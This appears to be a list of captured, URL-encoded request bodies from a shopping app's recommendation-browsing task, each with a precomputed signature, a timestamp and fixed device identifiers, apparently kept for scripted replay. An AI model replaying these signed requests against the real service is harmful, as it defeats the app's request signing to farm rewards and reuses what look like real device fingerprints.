`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238431608%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=528497aa9b9b3d932a889878b1bde4bd&st=1608135517143&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241148628%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7fa66f4476ee64d6085e472882b6a2ae&st=1608135530948&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239304423%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c96cdb81d78ce1863e4f8f04de9ab02d&st=1608135545789&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239883460%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=94024b2f8b9601b287eb892b77a8d664&st=1608135560829&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240083804%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fdf5ae7ba7b94629ba7c2b80e2fbdb9f&st=1608135574998&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240424814%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=39272f2f00f8bef1907dfe4cd6d6bd2b&st=1608135588583&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241354811%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2bf2bf47ea7372328e7d5e86db706a7c&st=1608135602797&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239763353%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fe03d9b6a1d711b9c16956a2a2eccc4c&st=1608135616512&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239887467%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4dd106e346bc57c4d5f8f5d2094b8ca4&st=1608135633772&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911566%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=78041fe3337060c1c6dc93f87828b0f2&st=1608135656081&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239209307%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1c56c633ea8664a1254a615cb9e08608&st=1608135674705&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232756870%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=005a17ff4b97e822c5ba0f4ad82e82a6&st=1608135691877&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239906757%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=aaef3fdea5bffafe30c5a8038e924ea2&st=1608135705696&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238055250%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=5a7f7629dcf9714cf849eb7c198e75d4&st=1608135719481&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911025%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bc5d52bc1ae461b861efdc0e80b53fb9&st=1608135732696&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232075505%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=e3159f46f03193f4ff37555ac2ce3347&st=1608135747723&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230306175%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=ef74243798ed813e1a7318002fd9b658&st=1608135764036&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232072753%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9c9bd997e65ffce799fe117bbe700e83&st=1608135777862&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230354156%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=f4bd50d42d37d901f2eae9aeb92097be&st=1608135793215&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230474392%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8e7774c8053ff1b365d9742064b575e8&st=1608135807319&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241113475%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8a9a3baa7ad9de8752f40a020d02b9ed&st=1608135821860&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - 